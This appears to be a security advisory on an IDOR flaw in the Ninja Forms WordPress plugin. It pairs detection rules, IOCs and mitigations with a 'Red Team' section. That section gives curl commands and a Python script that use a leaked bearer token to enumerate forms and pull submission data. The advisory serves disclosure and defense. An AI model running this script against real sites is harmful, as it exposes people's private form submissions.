CVE-2025-11924

Executive Summary

CVE-2025-11924 is a critical Insecure Direct Object Reference (IDOR) vulnerability in the Ninja Forms WordPress plugin (versions up to and including 3.13.2). The vulnerability allows an unauthenticated attacker to read arbitrary form metadata and submission content by exploiting a leaked bearer token. The root cause is the plugin's failure to properly verify user authorization before processing requests to the ninja-forms-views REST API endpoints. The initial patch (3.13.1) was incomplete and introduced a new endpoint that could mint valid bearer tokens for any form ID, rendering the fix ineffective. This vulnerability is particularly dangerous because it exposes sensitive form submissions, which may contain PII, credentials, or other confidential data.

Supply Chain & Package Security

This vulnerability affects the Ninja Forms WordPress plugin, which is distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are affected. The incomplete patch in version 3.13.1 highlights the risks of supply chain security, where a partial fix can introduce new attack vectors. Administrators should verify the integrity of the plugin files and monitor for any unauthorized modifications.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

Threat Level: High. The vulnerability can be exploited remotely without authentication, leading to full disclosure of form definitions and submission data.

Deep Dive & Mechanics

The vulnerability resides in the ninja-forms-views REST API endpoints. The plugin fails to verify that the requesting user is authorized to access the requested form metadata or submission records. An attacker can exploit this by:

1. Leaked Bearer Token: The attacker must first obtain a valid bearer token. This token can be leaked via the Submissions Table block, which is a Gutenberg block that exposes the token in the page source or JavaScript variables.
2. IDOR Exploitation: Once the token is obtained, the attacker can craft requests to the REST API endpoints (e.g., /wp-json/ninja-forms-views/v1/forms/{id} or /wp-json/ninja-forms-views/v1/submissions/{id}) to read arbitrary form definitions and submission records.
3. Token Minting (Post-3.13.1): The incomplete patch in 3.13.1 introduced a new endpoint that allows minting bearer tokens for arbitrary form IDs without proper authorization, making the vulnerability worse.

The attack does not require any user interaction and can be performed by any unauthenticated attacker who can load a page containing the Submissions Table block.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.13.2): The plugin's REST API endpoint does not check if the current user has permission to view the requested form or submission. The following pseudo-code illustrates the vulnerability:

// Vulnerable endpoint handler
function get_form_data( $request ) {
    $form_id = $request->get_param( 'id' );
    // No authorization check
    $form = get_form_by_id( $form_id );
    return $form;
}

Patched Code (Expected): A proper patch would include an authorization check, such as verifying that the user has the edit_posts capability or that the form is publicly accessible. The following is an example of a secure implementation:

// Patched endpoint handler
function get_form_data( $request ) {
    $form_id = $request->get_param( 'id' );
    // Authorization check
    if ( ! current_user_can( 'edit_posts' ) ) {
        return new WP_Error( 'unauthorized', 'You are not allowed to view this form.', array( 'status' => 403 ) );
    }
    $form = get_form_by_id( $form_id );
    return $form;
}

Note: The actual patch released in 3.13.1 was incomplete and introduced a new token minting endpoint, which is why the vulnerability persists.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Ninja Forms plugin version <= 3.13.2.
• A page containing the Submissions Table block (to leak the bearer token).

Steps:

1. Obtain Bearer Token:

   • Visit a page that contains the Submissions Table block.
   • Inspect the page source or JavaScript to find the bearer token. It is often stored in a JavaScript variable like nfViewsToken or in a REST API request header.

2. Enumerate Form IDs:

   • Use the token to enumerate form IDs by sending requests to the REST API:

     curl -H "Authorization: Bearer <TOKEN>" https://target.com/wp-json/ninja-forms-views/v1/forms/1
     curl -H "Authorization: Bearer <TOKEN>" https://target.com/wp-json/ninja-forms-views/v1/forms/2
     

3. Extract Submission Data:

   • Once a valid form ID is found, extract submission records:

     curl -H "Authorization: Bearer <TOKEN>" https://target.com/wp-json/ninja-forms-views/v1/submissions/1
     

Exploit Script (Python):

import requests

target = "https://target.com"
token = "YOUR_LEAKED_TOKEN"

# Enumerate form IDs
for form_id in range(1, 100):
    url = f"{target}/wp-json/ninja-forms-views/v1/forms/{form_id}"
    headers = {"Authorization": f"Bearer {token}"}
    response = requests.get(url, headers=headers)
    if response.status_code == 200:
        print(f"Form {form_id}: {response.text}")
        # Extract submissions
        sub_url = f"{target}/wp-json/ninja-forms-views/v1/submissions/{form_id}"
        sub_response = requests.get(sub_url, headers=headers)
        if sub_response.status_code == 200:
            print(f"Submissions for form {form_id}: {sub_response.text}")

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual REST API requests to /wp-json/ninja-forms-views/v1/ endpoints.
• Look for requests with a bearer token that is not associated with a logged-in user.
• Alert on multiple requests to different form IDs in a short period (enumeration behavior).

Defense:

• Immediately update the plugin to the latest version if a complete patch is released.
• If no patch is available, disable the Submissions Table block or restrict access to the REST API endpoints via a Web Application Firewall (WAF).
• Implement additional authentication checks using a custom plugin or WordPress filters.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Requests to /wp-json/ninja-forms-views/v1/forms/{id} with a bearer token.
  • Requests to /wp-json/ninja-forms-views/v1/submissions/{id} with a bearer token.
  • Unusual traffic patterns from a single IP address enumerating form IDs.

• File IOCs:

  • Modified plugin files in /wp-content/plugins/ninja-forms/ (check for unauthorized changes).
  • Presence of unexpected bearer tokens in page source or JavaScript files.

• Log IOCs:

  • WordPress debug logs showing REST API requests without proper authentication.
  • Web server logs showing 200 responses to unauthorized REST API requests.

Detection Engineering

YARA Rule

rule Detect_NinjaForms_IDOR_Exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-11924 in Ninja Forms"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11924"
    strings:
        $rest_endpoint = "/wp-json/ninja-forms-views/v1/"
        $bearer_token = /Authorization: Bearer [A-Za-z0-9\-_\.]+/
        $form_id_pattern = /\/forms\/\d+/
        $submission_pattern = /\/submissions\/\d+/
    condition:
        $rest_endpoint and ($bearer_token or $form_id_pattern or $submission_pattern)
}

Sigma Rule

title: Ninja Forms IDOR Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-11924 by accessing Ninja Forms REST API endpoints without proper authorization.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|startswith: '/wp-json/ninja-forms-views/v1/'
        cs-uri-stem|contains: 
            - '/forms/'
            - '/submissions/'
    condition: selection
falsepositives:
    - Legitimate admin users accessing their own forms
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-11924 - Ninja Forms IDOR Exploitation Attempt"; flow:to_server; content:"/wp-json/ninja-forms-views/v1/"; http_uri; content:"/forms/"; http_uri; distance:0; content:"Authorization"; http_header; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Submissions Table block in the WordPress editor to prevent token leakage.
2. Restrict access to the REST API endpoints using a WAF or .htaccess rules:

   <IfModule mod_rewrite.c>
   RewriteEngine On
   RewriteCond %{REQUEST_URI} ^/wp-json/ninja-forms-views/v1/ [NC]
   RewriteCond %{HTTP:Authorization} !^$
   RewriteRule .* - [F,L]
   </IfModule>
   

3. Monitor logs for any suspicious activity related to the Ninja Forms REST API.

Long-term Fix:

• Apply the official patch from the vendor once a complete fix is released.
• If no patch is available, consider replacing the plugin with an alternative contact form plugin that is actively maintained and secure.

Workaround:

• Implement a custom WordPress filter to add authorization checks to the REST API endpoints:

  add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
      if ( strpos( $request->get_route(), 'ninja-forms-views/v1' ) !== false ) {
          if ( ! current_user_can( 'edit_posts' ) ) {
              return new WP_Error( 'rest_forbidden', 'Access denied.', array( 'status' => 403 ) );
          }
      }
      return $result;
  }, 10, 3 );
  

Valters IT
Securing Digital Frontiers